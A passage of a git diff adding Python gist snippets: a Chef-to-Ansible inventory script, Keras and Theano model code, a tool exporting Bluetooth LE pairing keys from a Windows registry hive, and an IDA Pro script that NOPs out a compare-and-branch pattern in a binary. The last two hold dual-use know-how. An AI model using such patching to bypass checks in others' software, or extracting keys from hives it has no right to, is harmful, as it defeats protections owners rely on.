+        print("EPOCHSIZE: number of generator updates per epoch (default: 100)")
+    else:
+        kwargs = {}
+        if len(sys.argv) > 1:
+            kwargs['num_epochs'] = int(sys.argv[1])
+        if len(sys.argv) > 2:
+            kwargs['epochsize'] = int(sys.argv[2])
+        main(**kwargs)
\ No newline at end of file
diff --git a/hard-gists/f3538c32965575e59bcd/._snippet.py b/hard-gists/f3538c32965575e59bcd/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f3538c32965575e59bcd/._snippet.py differ
diff --git a/hard-gists/f3538c32965575e59bcd/snippet.py b/hard-gists/f3538c32965575e59bcd/snippet.py
new file mode 100644
index 00000000..da3e51db
--- /dev/null
+++ b/hard-gists/f3538c32965575e59bcd/snippet.py
@@ -0,0 +1,163 @@
+#!/usr/bin/env python
+
+from __future__ import print_function
+import argparse
+import json
+import chef
+import os
+import sys
+import re
+from time import time
+import ConfigParser
+
+try:
+    import json
+except ImportError:
+    import simplejson as json
+
+class ChefInventory:
+    def __init__(self):
+        self.parser = self._create_parser()
+        self.chef_server_url = ""
+        self.client_key = ""
+        self.client_name = ""
+        self.cache_max_age = 3600
+        self.cache_path =  os.path.join(os.path.expanduser('~'),'.ansible-chef.cache')
+
+        self.read_settings()
+
+        if self.chef_server_url and self.client_key and self.client_name:
+            print("Using chef ini values", file=sys.stderr)
+            self.api = chef.ChefAPI(self.chef_server_url, self.client_key, self.client_name)
+        else:
+            print("Trying chef autoconfiguration", file=sys.stderr)
+            self.api=chef.autoconfigure()
+        if not self.api:
+            print("Could not find chef configuration", file=sys.stderr)
+            sys.exit(1)
+
+    def read_settings(self):
+        config = ConfigParser.SafeConfigParser()
+        chef_default_ini_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'chef.ini')
+        chef_ini_path = os.environ.get('CHEF_INI_PATH', chef_default_ini_path)
+        config.read(chef_ini_path)
+
+        if config.has_option('chef', 'cache_path'):
+            cache_dir = os.path.expanduser(config.get('chef', 'cache_path'))
+            if not os.path.exists(cache_dir):
+                os.makedirs(cache_dir)
+            self.cache_path = cache_dir + "/ansible-chef.cache"
+
+        if config.has_option('chef', 'cache_max_age'):
+            self.cache_max_age = int(config.get('chef', 'cache_max_age'))
+        if config.has_option('chef', 'chef_server_url'):
+            self.chef_server_url = config.get('chef', 'chef_server_url')
+        if config.has_option('chef', 'client_key'):
+            self.client_key = config.get('chef', 'client_key')
+        if config.has_option('chef', 'client_name'):
+            self.client_name = config.get('chef', 'client_name')
+
+
+    def refresh_cache(self):
+        print("REFRESHING CACHE - COULD TAKE A WHILE", file=sys.stderr)
+        with self.api:
+            data = {}
+            nodes = chef.Search("node")
+            for n in nodes:
+                data[n["name"]] = n
+            self.write_cache(data)
+
+    def _create_parser(self):
+        parser = argparse.ArgumentParser(
+            description=u'Chef Server Dynamic Inventory for Ansible.'
+        )
+        parser.add_argument(u'--list', action=u'store_true',
+                            help=u'List all nodes.')
+        parser.add_argument(u'--host', help=u'Retrieve variable information.')
+        parser.add_argument(u'--refresh-cache',  action=u'store_true', help=u'Refresh the cache')
+        return parser
+  
+    def read_cache(self):
+        cache = open(self.cache_path, 'r')
+        data = json.loads(cache.read())
+        return data
+
+    def write_cache(self, data):
+        json_data = self.json_format_dict(data, True)
+        cache = open(self.cache_path, 'w')
+        cache.write(json_data)
+        cache.close()
+   
+    def is_cache_valid(self):
+       if os.path.isfile(self.cache_path):
+            mod_time = os.path.getmtime(self.cache_path)
+            current_time = time()
+            if (mod_time + self.cache_max_age) > current_time:
+                return True
+       return False
+
+    def json_format_dict(self, data, pretty=False):
+        if pretty:
+            return json.dumps(data, sort_keys=True, indent=2)
+        else:
+            return json.dumps(data)
+
+    def to_safe(self, word):
+        return re.sub("[^A-Za-z0-9\-]", "_", word)
+
+    def list_nodes(self):
+        groups = {}
+        meta = { "_meta" : { "hostvars" : {} } } 
+        groups.update(meta)
+
+        data = self.read_cache()
+        for name, node in data.iteritems():
+            # make sure node is configured/working
+            if ( "ipaddress" in node["automatic"].keys() ):
+                ip=node["automatic"]["ipaddress"] 
+            else:
+                continue
+       
+            # create a list of environments
+            environment = self.to_safe(node["chef_environment"])
+            if environment not in groups:
+                groups[environment] = []
+            groups[environment].append(ip)
+
+            for r in node["automatic"]["roles"]:
+                role = self.to_safe(r)
+                if role not in groups:
+                    groups[role] = []
+                groups[role].append(ip)
+
+            for i in node["run_list"]:
+                m = re.match(r'(role|recipe)\[(.*)\]', i)
+                item = self.to_safe(m.group(2))
+                if item not in groups:
+                    groups[item] = []
+                groups[item].append(ip)
+
+        print(self.json_format_dict(groups, pretty=True))
+
+
+    def node_variables(self):
+        print(json.dumps(dict()))
+
+    def execute(self):
+        args = self.parser.parse_args()
+        if args.refresh_cache:
+            self.refresh_cache()
+        elif not self.is_cache_valid():
+            self.refresh_cache()
+        if args.list:
+            self.list_nodes()
+        else:
+            self.node_variables()
+
+def main():
+    ci = ChefInventory()
+    ci.execute()
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/f35fbc80e066a49d65f1688a7e99f069/._snippet.py b/hard-gists/f35fbc80e066a49d65f1688a7e99f069/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f35fbc80e066a49d65f1688a7e99f069/._snippet.py differ
diff --git a/hard-gists/f35fbc80e066a49d65f1688a7e99f069/snippet.py b/hard-gists/f35fbc80e066a49d65f1688a7e99f069/snippet.py
new file mode 100644
index 00000000..208ae265
--- /dev/null
+++ b/hard-gists/f35fbc80e066a49d65f1688a7e99f069/snippet.py
@@ -0,0 +1,111 @@
+'''This script goes along the blog post
+"Building powerful image classification models using very little data"
+from blog.keras.io.
+It uses data that can be downloaded at:
+https://www.kaggle.com/c/dogs-vs-cats/data
+In our setup, we:
+- created a data/ folder
+- created train/ and validation/ subfolders inside data/
+- created cats/ and dogs/ subfolders inside train/ and validation/
+- put the cat pictures index 0-999 in data/train/cats
+- put the cat pictures index 1000-1400 in data/validation/cats
+- put the dogs pictures index 12500-13499 in data/train/dogs
+- put the dog pictures index 13500-13900 in data/validation/dogs
+So that we have 1000 training examples for each class, and 400 validation examples for each class.
+In summary, this is our directory structure:
+```
+data/
+    train/
+        dogs/
+            dog001.jpg
+            dog002.jpg
+            ...
+        cats/
+            cat001.jpg
+            cat002.jpg
+            ...
+    validation/
+        dogs/
+            dog001.jpg
+            dog002.jpg
+            ...
+        cats/
+            cat001.jpg
+            cat002.jpg
+            ...
+```
+'''
+import numpy as np
+from keras.preprocessing.image import ImageDataGenerator
+from keras.models import Sequential
+from keras.layers import Dropout, Flatten, Dense
+from keras import applications
+
+# dimensions of our images.
+img_width, img_height = 150, 150
+
+top_model_weights_path = 'bottleneck_fc_model.h5'
+train_data_dir = 'data/train'
+validation_data_dir = 'data/validation'
+nb_train_samples = 2000
+nb_validation_samples = 800
+epochs = 50
+batch_size = 16
+
+
+def save_bottlebeck_features():
+    datagen = ImageDataGenerator(rescale=1. / 255)
+
+    # build the VGG16 network
+    model = applications.VGG16(include_top=False, weights='imagenet')
+
+    generator = datagen.flow_from_directory(
+        train_data_dir,
+        target_size=(img_width, img_height),
+        batch_size=batch_size,
+        class_mode=None,
+        shuffle=False)
+    bottleneck_features_train = model.predict_generator(
+        generator, nb_train_samples // batch_size)
+    np.save(open('bottleneck_features_train.npy', 'w'),
+            bottleneck_features_train)
+
+    generator = datagen.flow_from_directory(
+        validation_data_dir,
+        target_size=(img_width, img_height),
+        batch_size=batch_size,
+        class_mode=None,
+        shuffle=False)
+    bottleneck_features_validation = model.predict_generator(
+        generator, nb_validation_samples // batch_size)
+    np.save(open('bottleneck_features_validation.npy', 'w'),
+            bottleneck_features_validation)
+
+
+def train_top_model():
+    train_data = np.load(open('bottleneck_features_train.npy'))
+    train_labels = np.array(
+        [0] * (nb_train_samples / 2) + [1] * (nb_train_samples / 2))
+
+    validation_data = np.load(open('bottleneck_features_validation.npy'))
+    validation_labels = np.array(
+        [0] * (nb_validation_samples / 2) + [1] * (nb_validation_samples / 2))
+
+    model = Sequential()
+    model.add(Flatten(input_shape=train_data.shape[1:]))
+    model.add(Dense(256, activation='relu'))
+    model.add(Dropout(0.5))
+    model.add(Dense(1, activation='sigmoid'))
+
+    model.compile(optimizer='rmsprop',
+                  loss='binary_crossentropy', metrics=['accuracy'])
+
+    model.fit(train_data, train_labels,
+              epochs=epochs,
+              batch_size=batch_size,
+              validation_data=(validation_data, validation_labels))
+    model.save_weights(top_model_weights_path)
+
+
+save_bottlebeck_features()
+train_top_model()
diff --git a/hard-gists/f390aabf53cf1406fc71166a47236ebf/._snippet.py b/hard-gists/f390aabf53cf1406fc71166a47236ebf/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f390aabf53cf1406fc71166a47236ebf/._snippet.py differ
diff --git a/hard-gists/f390aabf53cf1406fc71166a47236ebf/snippet.py b/hard-gists/f390aabf53cf1406fc71166a47236ebf/snippet.py
new file mode 100644
index 00000000..1e3bed4a
--- /dev/null
+++ b/hard-gists/f390aabf53cf1406fc71166a47236ebf/snippet.py
@@ -0,0 +1,143 @@
+#!/usr/bin/python3
+"""
+Export your Windows Bluetooth LE keys into Linux!
+
+Thanks to: http://console.systems/2014/09/how-to-pair-low-energy-le-bluetooth.html
+
+Usage:
+
+$ ./export-ble-infos.py <args>
+$ sudo bash -c 'cp -r ./bluetooth /var/lib && service bluetooth force-reload'
+$ rm -r bluetooth
+"""
+
+import os
+import shutil
+import subprocess
+import sys
+import tempfile
+
+from configparser import ConfigParser
+from optparse import OptionParser
+
+default_template = """
+[General]
+Name=Designer Mouse
+Appearance=0x03c2
+AddressType=static
+SupportedTechnologies=LE;
+Trusted=true
+Blocked=false
+Services=00001800-0000-1000-8000-00805f9b34fb;00001801-0000-1000-8000-00805f9b34fb;0000180a-0000-1000-8000-00805f9b34fb;0000180f-0000-1000-8000-00805f9b34fb;00001812-0000-1000-8000-00805f9b34fb;
+
+[IdentityResolvingKey]
+Key=
+
+[LocalSignatureKey]
+Key=
+Counter=0
+Authenticated=false
+
+[LongTermKey]
+Key=
+Authenticated=0
+EncSize=16
+EDiv=
+Rand=
+
+[DeviceID]
+Source=2
+Vendor=1118
+Product=2053
+Version=272
+
+[ConnectionParameters]
+MinInterval=6
+MaxInterval=6
+Latency=60
+Timeout=300
+"""
+
+
+def main():
+    parser = OptionParser()
+    parser.add_option("-v", "--verbose", action='store_true', dest='verbose')
+    parser.add_option("-s", "--system", dest="system", metavar="FILE",
+                      default="/media/mygod/Windows/Windows/System32/config/system",
+                      help="SYSTEM file in Windows. Usually at /Windows/System32/config/system.")
+    parser.add_option("-k", "--key", dest="key", metavar="KEY",
+                      default=r"ControlSet001\Services\BTHPORT\Parameters\Keys",
+                      help="Registry key for BT. [default: %default]")
+    parser.add_option("-o", "--output", dest="output", metavar="DIR", default="bluetooth",
+                      help="Output directory. [default: %default]")
+    parser.add_option("-t", "--template", dest="template", metavar="FILE", help="Template file.")
+    parser.add_option("-a", "--attributes", dest='attributes', help="Additional attributes file to be copied.")
+    options, args = parser.parse_args()
+
+    if options.template:
+        with open(options.template) as file:
+            template = file.read()
+    else:
+        template = default_template
+
+    out = tempfile.mktemp(".reg")
+    reged = subprocess.Popen(["reged", "-x", options.system, '\\', options.key, out], stdout=sys.stderr)
+    reged.wait()
+    if reged.returncode:
+        return reged.returncode
+    dump = ConfigParser()
+    with open(out) as file:
+        reged_out = file.read()
+        if options.verbose:
+            print(reged_out)
+        dump.read_string(reged_out.split('\n', 1)[1])
+    os.unlink(out)
+
+    for section in dump:
+        path = section[len(options.key) + 2:].split('\\')
+        assert not path[0]
+        if len(path) == 3:
+            path[1] = ':'.join([path[1][i:i + 2] for i in range(0, len(path[1]), 2)]).upper()
+            path[2] = ':'.join([path[2][i:i + 2] for i in range(0, len(path[2]), 2)]).upper()
+            print("Dumping {}/{}...".format(path[1], path[2]))
+            config = ConfigParser()
+            config.optionxform = str
+            config.read_string(template)
+
+            def read_reg(key, expected_type):
+                def read_reg_actual(key, expected_type):
+                    actual_type, content = dump[section]['"{}"'.format(key)].split(':', 1)
+                    if expected_type == 'hex16':
+                        assert actual_type == 'hex'
+                        content = content.split(',')
+                        assert len(content) == 16
+                        return ''.join(content).upper()
+                    if expected_type == 'qword':
+                        assert actual_type == 'hex(b)'
+                        content = content.split(',')
+                        assert len(content) == 8
+                        return str(int(''.join(content[::-1]), 16))
+                    if expected_type == 'dword':
+                        assert actual_type == expected_type
+                        return str(int(content, 16))
+                    assert False
+                result = read_reg_actual(key, expected_type)
+                if options.verbose:
+                    print("{} of type {}: {}".format(key, expected_type, result))
+                return result
+            config['LongTermKey']['Key'] = read_reg('LTK', 'hex16')
+            # KeyLength ignored for now
+            config['LongTermKey']['Rand'] = read_reg('ERand', 'qword')
+            config['LongTermKey']['EDiv'] = read_reg('EDIV', 'dword')
+            config['IdentityResolvingKey']['Key'] = read_reg('IRK', 'hex16')
+            config['LocalSignatureKey']['Key'] = read_reg('CSRK', 'hex16')
+            output_dir = os.path.join(options.output, path[1], path[2])
+            os.makedirs(output_dir, exist_ok=True)
+            with open(os.path.join(output_dir, 'info'), 'w') as file:
+                config.write(file, False)
+            if options.attributes:
+                shutil.copyfile(options.attributes, os.path.join(output_dir, 'attributes'))
+
+
+if __name__ == "__main__":
+    sys.exit(main())
diff --git a/hard-gists/f3ce814ee66c965638fe/._snippet.py b/hard-gists/f3ce814ee66c965638fe/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f3ce814ee66c965638fe/._snippet.py differ
diff --git a/hard-gists/f3ce814ee66c965638fe/snippet.py b/hard-gists/f3ce814ee66c965638fe/snippet.py
new file mode 100644
index 00000000..6af13f05
--- /dev/null
+++ b/hard-gists/f3ce814ee66c965638fe/snippet.py
@@ -0,0 +1,97 @@
+import idaapi
+import idc
+
+class MemoryPattern(object):
+    def __init__(self, pattern, wildcards, patch):
+        self._pattern = pattern
+        self._wildcards = wildcards
+        self._patch = patch
+
+    def compareTo(self, buffer, offset):
+        if offset + len(self._pattern) > len(buffer):
+            return False
+
+        for i in range(0, len(self._pattern)):
+            if i in self._wildcards:
+                continue
+
+            if buffer[offset + i] == chr(self._pattern[i]):
+                continue
+
+            return False
+
+        return True
+
+    def getPatch(self):
+        return self._patch
+
+class Program(object):
+    def __init__(self):
+        self._pattern_list = []
+
+        # .text:000000000045210C C6 45 EB 44            mov     [rbp+var_15], 44h
+        # .text:0000000000452110 80 7D EB 44            cmp     [rbp+var_15], 44h
+        # .text:0000000000452114 0F 85 B3 89 00 00      jnz     loc_45AACD      
+        self._pattern_list.append(MemoryPattern([0xC6, 0x45, 0xEB, 0x44, 0x80, 0x7D, 0xEB, 0x44, 0x0F, 0x85, 0xB3, 0x89, 0x00, 0x00], [2, 3, 6, 7, 10, 11], [0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90]))
+
+    def Main(self):
+        for segment_start_address in Segments():
+            segment_end_address = SegEnd(segment_start_address)
+            segment_name = SegName(segment_start_address)
+            segment_attributes = GetSegmentAttr(segment_start_address, SEGATTR_PERM)
+
+            if segment_attributes & idaapi.SEGPERM_EXEC == 0:
+                print("Skipping segment " + segment_name + " because it is not marked as executable")
+                continue
+
+            print "Scanning segment " + segment_name + " (start address: " + str(segment_start_address) + ", end address: " + str(segment_end_address) + ")"
+            buffer = self._readProcessMemory(segment_start_address, segment_end_address)
+            if len(buffer) == 0:
+                print("Could not access the segment data")
+                return 1
+
+            self._scanSegment(buffer, segment_start_address)
+
+        return 0
+
+    def _readProcessMemory(self, start_address, end_address):
+        buffer = []
+
+        for address in range(start_address, end_address):
+            buffer.append(chr(Byte(address)))
+
+        return buffer
+
+    def _scanSegment(self, buffer, segment_start_address):
+        offset = 0
+        reanalyze_segment = False
+
+        while offset < len(buffer):
+            for pattern in self._pattern_list:
+                if pattern.compareTo(buffer, offset) == False:
+                    continue
+
+                patch_address = segment_start_address + offset
+                print "Patching following address: 0x%x" % patch_address
+                self._patchDatabase(pattern.getPatch(), patch_address)
+
+                offset += len(pattern.getPatch()) - 1
+                reanalyze_segment = True
+
+                break
+
+            offset += 1
+
+        if reanalyze_segment:
+            print("Reanalyzing segment...")
+            idaapi.analyze_area(segment_start_address, segment_start_address + len(buffer))
+
+        return
+
+    def _patchDatabase(self, patch_buffer, address):
+        for i in range(0, len(patch_buffer)):
+            idc.PatchByte(address + i, patch_buffer[i])
+
+program = Program()
+exit_code = program.Main()
+print("Terminating with exit code " + str(exit_code))
diff --git a/hard-gists/f3f67424adda343fef40/._snippet.py b/hard-gists/f3f67424adda343fef40/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f3f67424adda343fef40/._snippet.py differ
diff --git a/hard-gists/f3f67424adda343fef40/snippet.py b/hard-gists/f3f67424adda343fef40/snippet.py
new file mode 100644
index 00000000..93eee88a
--- /dev/null
+++ b/hard-gists/f3f67424adda343fef40/snippet.py
@@ -0,0 +1,677 @@
+# Alec Radford, Indico, Kyle Kastner
+# License: MIT
+"""
+Convolutional VAE in a single file.
+Bringing in code from IndicoDataSolutions and Alec Radford (NewMu)
+Additionally converted to use default conv2d interface instead of explicit cuDNN
+"""
+import theano
+import theano.tensor as T
+from theano.compat.python2x import OrderedDict
+from theano.sandbox.rng_mrg import MRG_RandomStreams as RandomStreams
+from theano.tensor.signal.downsample import max_pool_2d
+from theano.tensor.nnet import conv2d
+import tarfile
+import tempfile
+import gzip
+import cPickle
+import fnmatch
+from time import time
+import numpy as np
+from matplotlib import pyplot as plt
+from scipy.misc import imsave, imread
+import os
+from sklearn.base import BaseEstimator, TransformerMixin
+from scipy.linalg import svd
+from skimage.transform import resize
+
+
+def softmax(x):
+    return T.nnet.softmax(x)
+
+
+def rectify(x):
+    return (x + abs(x)) / 2.0
+
+
+def tanh(x):
+    return T.tanh(x)
+
+
+def sigmoid(x):
+    return T.nnet.sigmoid(x)
+
+
+def linear(x):
+    return x
+
+
+def t_rectify(x):
+    return x * (x > 1)
+
+
+def t_linear(x):
+    return x * (abs(x) > 1)
+
+
+def maxout(x):
+    return T.maximum(x[:, 0::2], x[:, 1::2])
+
+
+def clipped_maxout(x):
+    return T.clip(T.maximum(x[:, 0::2], x[:, 1::2]), -1., 1.)
+
+
+def clipped_rectify(x):
+    return T.clip((x + abs(x)) / 2.0, 0., 1.)
+
+
+def hard_tanh(x):
+    return T.clip(x, -1., 1.)
+
+
+def steeper_sigmoid(x):
+    return 1./(1. + T.exp(-3.75 * x))
+
+
+def hard_sigmoid(x):
+    return T.clip(x + 0.5, 0., 1.)
+
+
+def shuffle(*data):
+    idxs = np.random.permutation(np.arange(len(data[0])))
+    if len(data) == 1:
+        return [data[0][idx] for idx in idxs]
+    else:
+        return [[d[idx] for idx in idxs] for d in data]
+
+
+def shared0s(shape, dtype=theano.config.floatX, name=None):
+    return sharedX(np.zeros(shape), dtype=dtype, name=name)
+
+
+def iter_data(*data, **kwargs):
+    size = kwargs.get('size', 128)
+    batches = len(data[0]) / size
+    if len(data[0]) % size != 0:
+        batches += 1
+    for b in range(batches):
+        start = b * size
+        end = (b + 1) * size
+        if len(data) == 1:
+            yield data[0][start:end]
+        else:
+            yield tuple([d[start:end] for d in data])
+
+
+def intX(X):
+    return np.asarray(X, dtype=np.int32)
+
+
+def floatX(X):
+    return np.asarray(X, dtype=theano.config.floatX)
+
+
+def sharedX(X, dtype=theano.config.floatX, name=None):
+    return theano.shared(np.asarray(X, dtype=dtype), name=name)
+
+
+def uniform(shape, scale=0.05):
+    return sharedX(np.random.uniform(low=-scale, high=scale, size=shape))
+
+
+def normal(shape, scale=0.05):
+    return sharedX(np.random.randn(*shape) * scale)
+
+
+def orthogonal(shape, scale=1.1):
+    """ benanne lasagne ortho init (faster than qr approach)"""
+    flat_shape = (shape[0], np.prod(shape[1:]))
+    a = np.random.normal(0.0, 1.0, flat_shape)
+    u, _, v = np.linalg.svd(a, full_matrices=False)
+    q = u if u.shape == flat_shape else v  # pick the one with the correct shape
+    q = q.reshape(shape)
+    return sharedX(scale * q[:shape[0], :shape[1]])
+
+
+def color_grid_vis(X, show=True, save=False, transform=False):
+    ngrid = int(np.ceil(np.sqrt(len(X))))
+    npxs = np.sqrt(X[0].size/3)
+    img = np.zeros((npxs * ngrid + ngrid - 1,
+                    npxs * ngrid + ngrid - 1, 3))
+    for i, x in enumerate(X):
+        j = i % ngrid
+        i = i / ngrid
+        if transform:
+            x = transform(x)
+        img[i*npxs+i:(i*npxs)+npxs+i, j*npxs+j:(j*npxs)+npxs+j] = x
+    if show:
+        plt.imshow(img, interpolation='nearest')
+        plt.show()
+    if save:
+        imsave(save, img)
+    return img
+
+
+def bw_grid_vis(X, show=True, save=False, transform=False):
+    ngrid = int(np.ceil(np.sqrt(len(X))))
+    npxs = np.sqrt(X[0].size)
+    img = np.zeros((npxs * ngrid + ngrid - 1,
+                    npxs * ngrid + ngrid - 1))
+    for i, x in enumerate(X):
+        j = i % ngrid
+        i = i / ngrid
+        if transform:
+            x = transform(x)
+        img[i*npxs+i:(i*npxs)+npxs+i, j*npxs+j:(j*npxs)+npxs+j] = x
+    if show:
+        plt.imshow(img, interpolation='nearest')
+        plt.show()
+    if save:
+        imsave(save, img)
+    return img
+
+
+def center_crop(img, n_pixels):
+    img = img[n_pixels:img.shape[0] - n_pixels,
+              n_pixels:img.shape[1] - n_pixels]
+    return img
+
+
+def unpickle(f):
+    import cPickle
+    fo = open(f, 'rb')
+    d = cPickle.load(fo)
+    fo.close()
+    return d
+
+
+def cifar10(datasets_dir='/Tmp/kastner'):
+    try:
+        import urllib
+        urllib.urlretrieve('http://google.com')
+    except AttributeError:
+        import urllib.request as urllib
+    url = 'http://www.cs.toronto.edu/~kriz/cifar-10-python.tar.gz'
+    data_file = os.path.join(datasets_dir, 'cifar-10-python.tar.gz')
+    data_dir = os.path.join(datasets_dir, 'cifar-10-batches-py')
+    if not os.path.exists(data_dir):
+        urllib.urlretrieve(url, data_file)
+        tar = tarfile.open(data_file)
+        os.chdir(datasets_dir)
+        tar.extractall()
+        tar.close()
+
+    train_files = []
+    for filepath in fnmatch.filter(os.listdir(data_dir), 'data*'):
+        train_files.append(os.path.join(data_dir, filepath))
+
+    name2label = {k:v for v,k in enumerate(
+        unpickle(os.path.join(data_dir, 'batches.meta'))['label_names'])}
+    label2name = {v:k for k,v in name2label.items()}
+
+    train_files = sorted(train_files, key=lambda x: x.split("_")[-1])
+    train_x = []
+    train_y = []
+    for f in train_files:
+        d = unpickle(f)
+        train_x.append(d['data'])
+        train_y.append(d['labels'])
+    train_x = np.array(train_x)
+    shp = train_x.shape
+    train_x = train_x.reshape(shp[0] * shp[1], 3, 32, 32)
+    train_y = np.array(train_y)
+    train_y = train_y.ravel()
+    return (train_x, train_y)
+
+
+def mnist(datasets_dir='/Tmp/kastner'):
+    try:
+        import urllib
+        urllib.urlretrieve('http://google.com')
+    except AttributeError:
+        import urllib.request as urllib
+    url = 'http://www.iro.umontreal.ca/~lisa/deep/data/mnist/mnist.pkl.gz'
+    data_file = os.path.join(datasets_dir, 'mnist.pkl.gz')
+    if not os.path.exists(data_file):
+        urllib.urlretrieve(url, data_file)
+
+    print('... loading data')
+    # Load the dataset
+    f = gzip.open(data_file, 'rb')
+    try:
+        train_set, valid_set, test_set = cPickle.load(f, encoding="latin1")
+    except TypeError:
+        train_set, valid_set, test_set = cPickle.load(f)
+    f.close()
+
+    test_x, test_y = test_set
+    test_x = test_x.astype('float32')
+    test_x = test_x.astype('float32').reshape(test_x.shape[0], 1, 28, 28)
+    test_y = test_y.astype('int32')
+    valid_x, valid_y = valid_set
+    valid_x = valid_x.astype('float32')
+    valid_x = valid_x.astype('float32').reshape(valid_x.shape[0], 1, 28, 28)
+    valid_y = valid_y.astype('int32')
+    train_x, train_y = train_set
+    train_x = train_x.astype('float32').reshape(train_x.shape[0], 1, 28, 28)
+    train_y = train_y.astype('int32')
+    rval = [(train_x, train_y), (valid_x, valid_y), (test_x, test_y)]
+    return rval
+
+# wget http://vis-www.cs.umass.edu/lfw/lfw-deepfunneled.tgz
+def lfw(n_imgs=1000, flatten=True, npx=64, datasets_dir='/Tmp/kastner'):
+    data_dir = os.path.join(datasets_dir, 'lfw-deepfunneled')
+    if (not os.path.exists(data_dir)):
+        try:
+            import urllib
+            urllib.urlretrieve('http://google.com')
+        except AttributeError:
+            import urllib.request as urllib
+        url = 'http://vis-www.cs.umass.edu/lfw/lfw-deepfunneled.tgz'
+        print('Downloading data from %s' % url)
+        data_file = os.path.join(datasets_dir, 'lfw-deepfunneled.tgz')
+        urllib.urlretrieve(url, data_file)
+        tar = tarfile.open(data_file)
+        os.chdir(datasets_dir)
+        tar.extractall()
+        tar.close()
+
+    if n_imgs == 'all':
+        n_imgs = 13233
+    n = 0
+    imgs = []
+    Y = []
+    n_to_i = {}
+    for root, subFolders, files in os.walk(data_dir):
+        if subFolders == []:
+            if len(files) >= 2:
+                for f in files:
+                    if n < n_imgs:
+                        if n % 1000 == 0:
+                            print n
+                        path = os.path.join(root, f)
+                        img = imread(path) / 255.
+                        img = resize(center_crop(img, 50), (npx, npx, 3)) - 0.5
+                        if flatten:
+                            img = img.flatten()
+                        imgs.append(img)
+                        n += 1
+                        name = root.split('/')[-1]
+                        if name not in n_to_i:
+                            n_to_i[name] = len(n_to_i)
+                        Y.append(n_to_i[name])
+                    else:
+                        break
+    imgs = np.asarray(imgs, dtype=theano.config.floatX)
+    imgs = imgs.transpose(0, 3, 1, 2)
+    Y = np.asarray(Y)
+    i_to_n = dict(zip(n_to_i.values(), n_to_i.keys()))
+    return imgs, Y, n_to_i, i_to_n
+
+
+def make_paths(n_code, n_paths, n_steps=480):
+    """
+    create a random path through code space by interpolating between points
+    """
+    paths = []
+    p_starts = np.random.randn(n_paths, n_code)
+    for i in range(n_steps/48):
+        p_ends = np.random.randn(n_paths, n_code)
+        for weight in np.linspace(0., 1., 48):
+            paths.append(p_starts*(1-weight) + p_ends*weight)
+        p_starts = np.copy(p_ends)
+
+    paths = np.asarray(paths)
+    return paths
+
+
+def Adam(params, cost, lr=0.0001, b1=0.1, b2=0.001, e=1e-8):
+    """
+    no bias init correction
+    """
+    updates = []
+    grads = T.grad(cost, params)
+    for p, g in zip(params, grads):
+        m = theano.shared(p.get_value() * 0.)
+        v = theano.shared(p.get_value() * 0.)
+        m_t = (b1 * g) + ((1. - b1) * m)
+        v_t = (b2 * T.sqr(g)) + ((1. - b2) * v)
+        g_t = m_t / (T.sqrt(v_t) + e)
+        p_t = p - (lr * g_t)
+        updates.append((m, m_t))
+        updates.append((v, v_t))
+        updates.append((p, p_t))
+    return updates
+
+class PickleMixin(object):
+    def __getstate__(self):
+        if not hasattr(self, '_pickle_skip_list'):
+            self._pickle_skip_list = []
+            for k, v in self.__dict__.items():
+                try:
+                    f = tempfile.TemporaryFile()
+                    cPickle.dump(v, f)
+                except:
+                    self._pickle_skip_list.append(k)
+        state = OrderedDict()
+        for k, v in self.__dict__.items():
+            if k not in self._pickle_skip_list:
+                state[k] = v
+        return state
+
+    def __setstate__(self, state):
+        self.__dict__ = state
+
+def log_prior(mu, log_sigma):
+    """
+    yaost kl divergence penalty
+    """
+    return 0.5 * T.sum(1 + 2 * log_sigma - mu ** 2 - T.exp(2 * log_sigma))
+
+
+def conv(X, w, b, activation):
+    # z = dnn_conv(X, w, border_mode=int(np.floor(w.get_value().shape[-1]/2.)))
+    s = int(np.floor(w.get_value().shape[-1]/2.))
+    z = conv2d(X, w, border_mode='full')[:, :, s:-s, s:-s]
+    if b is not None:
+        z += b.dimshuffle('x', 0, 'x', 'x')
+    return activation(z)
+
+
+def conv_and_pool(X, w, b=None, activation=rectify):
+    return max_pool_2d(conv(X, w, b, activation=activation), (2, 2))
+
+
+def deconv(X, w, b=None):
+    # z = dnn_conv(X, w, direction_hint="*not* 'forward!",
+    #              border_mode=int(np.floor(w.get_value().shape[-1]/2.)))
+    s = int(np.floor(w.get_value().shape[-1]/2.))
+    z = conv2d(X, w, border_mode='full')[:, :, s:-s, s:-s]
+    if b is not None:
+        z += b.dimshuffle('x', 0, 'x', 'x')
+    return z
+
+
+def depool(X, factor=2):
+    """
+    luke perforated upsample
+    http://www.brml.org/uploads/tx_sibibtex/281.pdf
+    """
+    output_shape = [
+        X.shape[1],
+        X.shape[2]*factor,
+        X.shape[3]*factor
+    ]
+    stride = X.shape[2]
+    offset = X.shape[3]
+    in_dim = stride * offset
+    out_dim = in_dim * factor * factor
+
+    upsamp_matrix = T.zeros((in_dim, out_dim))
+    rows = T.arange(in_dim)
+    cols = rows*factor + (rows/stride * factor * offset)
+    upsamp_matrix = T.set_subtensor(upsamp_matrix[rows, cols], 1.)
+
+    flat = T.reshape(X, (X.shape[0], output_shape[0], X.shape[2] * X.shape[3]))
+
+    up_flat = T.dot(flat, upsamp_matrix)
+    upsamp = T.reshape(up_flat, (X.shape[0], output_shape[0],
+                                 output_shape[1], output_shape[2]))
+
+    return upsamp
+
+
+def deconv_and_depool(X, w, b=None, activation=rectify):
+    return activation(deconv(depool(X), w, b))
+
+
+class ZCA(BaseEstimator, TransformerMixin):
+    def __init__(self, n_components=None, bias=.1, scale_by=1., copy=True):
+        self.n_components = n_components
+        self.bias = bias
+        self.copy = copy
+        self.scale_by = float(scale_by)
+
+    def fit(self, X, y=None):
+        if self.copy:
+            X = np.array(X, copy=self.copy)
+            X = np.copy(X)
+        X /= self.scale_by
+        n_samples, n_features = X.shape
+        self.mean_ = np.mean(X, axis=0)
+        X -= self.mean_
